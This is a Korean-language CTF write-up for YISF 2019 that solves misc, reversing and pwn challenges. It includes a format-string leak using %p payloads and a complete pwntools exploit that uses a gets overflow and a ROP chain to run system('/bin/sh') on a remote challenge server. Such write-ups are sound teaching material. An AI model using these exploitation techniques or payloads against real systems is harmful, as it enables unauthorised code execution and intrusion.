본문으로 바로가기

misc 50

문제 설명대로 룰을 확인하면 된다.


misc 100

해당 nc 서버로 접속하면, 3개의 직선의 방정식을 준다.

이 방정식으로 만들어진 삼각형의 넓이를 구하는 파이썬 코드를 작성하면 플래그를 얻을 수 있다.

from pwn import *
from sympy import Symbol, solve
import re

x = Symbol('x')
y = Symbol('y')

r = remote("218.158.141.199",24763)
r.recvuntil("<Quiz Start>")

def recv_step(step):
r.recvuntil("Step : " + str(step))
r.recvuntil("\n\n")
log.info("step : " + str(step))

def recv_num():
num1 = r.recvuntil("x")[:-1].replace(" ", "")
num2 = r.recvuntil("y")[2:-1].replace(" ", "")
num3 = r.recvuntil("\n")[2:].replace(" ", "")

return int(num1),int(num2),int(num3)

def calc(eq1,eq2,eq3):
eq1 = (eq1[0])*x + (eq1[1])*y - (eq1[2])
eq2 = (eq2[0])*x + (eq2[1])*y - (eq2[2])
eq3 = (eq3[0])*x + (eq3[1])*y - (eq3[2])

num1 = solve((eq1,eq2))
num2 = solve((eq2,eq3))
num3 = solve((eq1,eq3))

return num1,num2,num3


for i in range(0,100):
recv_step(i+1)

eq1 = recv_num()
eq2 = recv_num()
eq3 = recv_num()
print eq1,eq2,eq3

result = calc(eq1,eq2,eq3)
vertex1 = result[0]
vertex2 = result[1]
vertex3 = result[2]

vertex2[x] -= vertex1[x]
vertex2[y] -= vertex1[y]
vertex3[x] -= vertex1[x]
vertex3[y] -= vertex1[y]

finsh = abs((vertex2[x] * vertex3[y]) - (vertex2[y] * vertex3[x]))
tmp = float(finsh)
q = tmp / 2

r.recvuntil("Input : ")
r.sendline(str(q))



r.interactive()


수식을 받아서, sympy 모듈로 해당 수식을 삼각형 넓이 구하는 공식으로 넓이를 구했다.

[*] step : 95
(9, -14, 987) (-43, -31, -17) (-77, -76, -809)
[*] step : 96
(9, -32, -881) (25, -1, -250) (34, -33, -1922)
[*] step : 97
(-31, -63, -1300) (-37, -11, 310) (43, -41, 2060)
[*] step : 98
(-17, -3, 11) (-45, -31, 375) (3, -11, -417)
[*] step : 99
(3, -14, 460) (17, -44, 1476) (10, -29, 1021)
[*] step : 100
(-26, -55, -542) (58, -5, -834) (8, -15, 486)
[*] Switching to interactive mode
[0] Correct

YISF{Mathematical_ability_i5_n0t_ru5ty}


[*] Got EOF while reading in interactive
$  


rev 50

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
 char *path; // ST20_8
 char *filename; // [rsp+18h] [rbp-A8h]
 char buf; // [rsp+30h] [rbp-90h]
 unsigned __int64 v7; // [rsp+B8h] [rbp-8h]

 v7 = __readfsqword(0x28u);
 memset(&buf, 0, 0x80uLL);
 filename = strrchr(*a2, 47) + 1;
 path = getcwd(&buf, 0x80uLL);
 printf("path : %s\nfilename : %s\n\n", path, filename, a2);
 sub_B2F(path, filename);
 if ( dword_20240C == 1 )
{
   if ( !strncmp(filename + 6, "flag", 4uLL) )
  {
     ++dword_20240C;
     sub_DE7();
  }
   sub_D64();
}
 return 0LL;
}

filename이라는 변수에 파일 이름을 넣어주고, path라는 변수의 파일의 위치를 넣어준다.

그리고 sub_B2F함수를 호출하는데, 여기서 path와 filename을 인자로 넘겨준다.

if ( !strncmp(path + 6, "YISF", 4uLL) )
{
   puts("\nHmm...?\n");
   if ( !strncmp(path + 11, "TOP_SECRET", 0xAuLL) )
  {
     puts("Please enter your ID and Password...\n");
     printf("ID : ", "TOP_SECRET", filename);
     fgets(id, 64, stdin);
     printf("PW : ", 64LL);
     fgets(password, 64, stdin);
     strcpy(dest, password);
     if ( strncmp(id, aTheWorldBestPr, 25uLL) || strncmp(password, aQwe123, 6uLL) )
    {
       puts("\nYou don't have permission!!\n");
       exit(0);
    }
     puts("\nsuccess!!\n");
     ++dword_20240C;
  }
   else
  {
     puts("Invalid Directory Name\n");
  }
}
 else
{
   puts("Ivalid Directory Name\n");
}

검사하는 루틴은 다음과 같다.

  1. path+6에 YISF라는 문자열이 있는지 검사한다.

  2. path+11에 TOP_SECRET이라는 문자열이 있는지 검사한다.

  3. ID와 PW를 aTheWordldBestPr변수에 있는 내용과 aQwe123변수에 있는 내용과 검사한다.

이렇게 하려면 현재 경로를 /aaaa/YISF/TOP_SECRET로 설정해주고, TOP_SECRET 디렉토리에 파일을 넣어주면 된다.

이렇게 모든 검사루틴을 우회하면, fake flag가 뜬다.

왜냐하면

if ( dword_20240C == 1 )
{
   if ( !strncmp(filename + 6, "flag", 4uLL) )
  {
     ++dword_20240C;
     sub_DE7();
  }
   sub_D64();
}

위 코드의 조건을 맞추지 못하였기때문이다. dword_20240C라는 전역변수는 ++되어 현재 1이므로, 아래 strncmp부분만 맞춰주면 된다.


따라서 파일 이름을 aaaaaaflag로 만들어주고, 프로그램을 다시 실행하고, 위에서 설명한 모든 조건을 맞춰준다.

root@ubuntu:/aaaa/YISF/TOP_SECRET# clear
root@ubuntu:/aaaa/YISF/TOP_SECRET# ./aaaaaaflag
path : /aaaa/YISF/TOP_SECRET
filename : aaaaaaflag


Hmm...?

Please enter your ID and Password...

ID : The_World_Best_Programmer
PW : qwe123

success!!

YISF{5252~~_I_6eliev3d!!!}

플래그를 획득할 수 있다.

pwn 50

주어진 SSH 서버로 접속해서 문제를 해결하기 전에, 로컬서버에서 환경을 구축하였다.

-rw-rw-r-- 1 juntae juntae 7 Aug 9 08:47 .secret


이렇게 .secret파일을 만들어두었다.

juntae@ubuntu:~/ctf/yisf_2019/pwn50$ cat .secret 
123123


.secret파일 안에는 123123이라는 값을 적어두었다.

__int64 sub_400D3D()
{
 unsigned int *v0; // ST08_8
 unsigned int check_money; // ST04_4
 __int64 result; // rax
 char v3; // [rsp+10h] [rbp-40h]
 char name; // [rsp+30h] [rbp-20h]
 unsigned __int64 canary; // [rsp+48h] [rbp-8h]

 canary = __readfsqword(0x28u);
 v0 = open(".secret", "r");
 sub_411320(&v3, 20, v0);
 check_money = sub_40DEF0(&v3);
 close(v0);
 printf("What is your name?? : ", 20LL);
 scanf("%s", &name);
 printf(&name);
 result = check_money;
 if ( __readfsqword(0x28u) != canary )
   stack_smash();
 return result;
}

해당 함수에서 printf에서 FSB취약점이 발생한다.

이 부분에서 %p를 계속 입력하면....

juntae@ubuntu:~/ctf/yisf_2019/pwn50$ c
juntae@ubuntu:~/ctf/yisf_2019/pwn50$ ./50
What is your name?? : %p%p%p%p%p%p%p%p%p%p
0x10x6d7ed0(nil)(nil)(nil)0x1e0f3000000000x13b2b300xa3332313332310x4141190x6d5360
*********************Introduce*********************
*   Hello!!! Welcome to the COOKIE MINE!!!        *
*   If you want to earn the cookies? Type 1!      *
*   Or If you want to sell the cookies? Type 2!   *
*   earn cookie : +? / sell cookie : -?           *
*   If you want to exit this mine... Type 3!      *
***************************************************

다음과 같이 나오는데, xa333231333231 이부분이 우리가 입력한 .secret파일의 값이라는것을 알 수 있다.

if ( save_money == check_money )
  {
    puts("poor man...T.T I will give a little present", money);
    system("cat flag");
    exit(0);
  }

다음 조건에 의해서 현재 돈과 check_money값을 맞춰주면 되는데 check_money값은 .secret파일의 값과 같다. 따라서 FSB로 얻은 .secret의 값을 넘기면 플래그를 볼 수 있다.

$ ./50
What is your name?? : %p%p%p%p%p%p%p%p%p
0x10x6d7ed0(nil)(nil)(nil)0xffff8000000000000x1b2bb200x38363732332d0x414119
*********************Introduce*********************
*   Hello!!! Welcome to the COOKIE MINE!!!        *
*   If you want to earn the cookies? Type 1!      *
*   Or If you want to sell the cookies? Type 2!   *
*   earn cookie : +? / sell cookie : -?           *
*   If you want to exit this mine... Type 3!      *
***************************************************
*********Pocket*********
cookie : 0
money  : 0
************************
[SYSTEM] : What do you want to do?
1) earn   2) sell   3) exit
[>] 

SSH서버에서 %p를 넣었을때 부분이다.

0x38363732332d이 secret파일의 값임을 알 수 있다.

해당부분은 32768임을 알 수 있다.


따라서 argv[1]에 32768을 넘기고, 1번메뉴로 쿠키를 얻고, 2번 메뉴를 이용하여 쿠키를 팔면 된다.

[SYSTEM] : selling cookies...
*********Pocket*********
cookie : 0
money  : -32768
************************
poor man...T.T I will give a little present
YISF{FSB?_1_L1k3_1NT3G3R_0V3rFl0w}
$


pwn 100

int register()
{
  int v0; // ebx
  int v1; // eax
  char s[8]; // [rsp+0h] [rbp-30h]
  __int64 v4; // [rsp+8h] [rbp-28h]
  char select; // [rsp+1Fh] [rbp-11h]

  *s = 0LL;
  v4 = 0LL;
  printf("\x1B[H\x1B[J", 0LL, 0LL);
  puts("REGISTER PAGE");
  printf("Give me your id!! : ");
  __isoc99_scanf("%7s%*c", &id);
  printf("Give me your password!! : ", &id);
  __isoc99_scanf("%15s%*c", password);
  printf("Retype your password!! : ", password);
  __isoc99_scanf("%15s%*c", s);
  printf("Give me your nickname!! : ", s);
  __isoc99_scanf("%15s%*c", &nickname);
  printf("submit? (y/n) : ", &nickname);
  __isoc99_scanf(" %c", &select);
  if ( select != 'y' )
    exit(0);
  if ( sub_400AF5(&id, 0x602018LL, 7, 7) == 1
    || (v0 = strlen(s), v1 = strlen(password), sub_400AF5(password, s, v1, v0) != 1) )
  {
    puts("REGISTER FAIL");
    exit(0);
  }
  puts("REGISTER COMPLETE\nInsert Your Bio");
  __isoc99_scanf("%s", &bio);
  return login();
}

register 함수에서 회원가입을 한 후, Bio를입력받는데 %s를 사용하기때문에 BSS영역의 변수를 덮을 수 있다.

덮을 수 있는 변수는 id,password,nickname,unk_602060 등 이다.

signed __int64 sub_400AC1()
{
  signed __int64 result; // rax

  result = sub_400AF5(&unk_602080, a30541989yisfru, 8, 8);
  if ( result == 1 )
    dword_602030 = 1;
  return result;
}

BSS영역의 변수를 덮어 해당 루틴을 만족하면 dword_602030의 값이 1로 바뀌고, root메뉴를 사용할 수 있다.

__int64 sub_400F2D()
{
  char s; // [rsp+0h] [rbp-70h]
  int i; // [rsp+6Ch] [rbp-4h]

  printf("\x1B[H\x1B[J");
  puts("PERMISSION VERIFIED\nLOGIN COMPLETE Have a nice day");
  puts("<<All conversations are sent to the administrator.>>\n");
  for ( i = 1; i <= 32; ++i )
  {
    memset(&s, 0, 0x64uLL);
    printf("%s : ", &nickname);
    gets(&s);
    puts("root : IAMROOT\n");
  }
  puts("root : bye");
  return sub_4009C7("root : bye");
}

루트메뉴에서 gets함수를 이용하여 반복문을 계속 돈다.

여기서 gets함수를 이용하기때문에 ret을 변조할 수 있다.

해당 문제에서 system함수의 plt가 남아있는것을 확인해서 BSS영역에다가 /bin/sh\x00을 적어 둔 후, 해당 BSS영역의 주소를 system함수의 인자로 넘겨주었다.

그리고 변조된 ret을 이용하려면 반복문이 종료되어야 하므로, i의 값을 32으로 변조해주었다.

from pwn import *

libc = ELF("./libc.so.6") 

e = ELF("./100")
#r = process("./100")
r = remote("218.158.141.182",7853)

asdf = "asdf"

r.sendlineafter("$ ","1")
r.sendlineafter("id!! : ",asdf)
r.sendlineafter("password!! : ",asdf)
r.sendlineafter("password!! : ",asdf)
r.sendlineafter("nickname!! : ",asdf)
r.sendlineafter("(y/n) : ","y")
r.sendlineafter("Bio\n","A"*0x81)
r.sendlineafter("ID : ","A"*23)

pr = 0x401313
bss = 0x602040

payload = "A"*0x63
payload += p32(0)
payload += "A"*5
payload += p32(32)
payload += "A"*(0x78-len(payload))
payload += p64(pr)
payload += p64(bss)
payload += p64(e.plt["gets"])
payload += p64(pr)
payload += p64(bss)
payload += p64(e.plt["system"])

r.sendlineafter(" : ",payload)
r.sendline("/bin/sh\x00")

r.interactive()

juntae@ubuntu:~/ctf/yisf_2019/pwn100$ p ex.py 
[*] '/home/juntae/ctf/yisf_2019/pwn100/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] '/home/juntae/ctf/yisf_2019/pwn100/100'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[+] Opening connection to 218.158.141.182 on port 7853: Done
[*] Switching to interactive mode
LOGIN COMPLETE Have a nice day
<<All conversations are sent to the administrator.>>

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA : root : IAMROOT

root : bye
$ cat flag.txt
YISF{Iam_not_root_BUT_IAM_fakeroot!}
$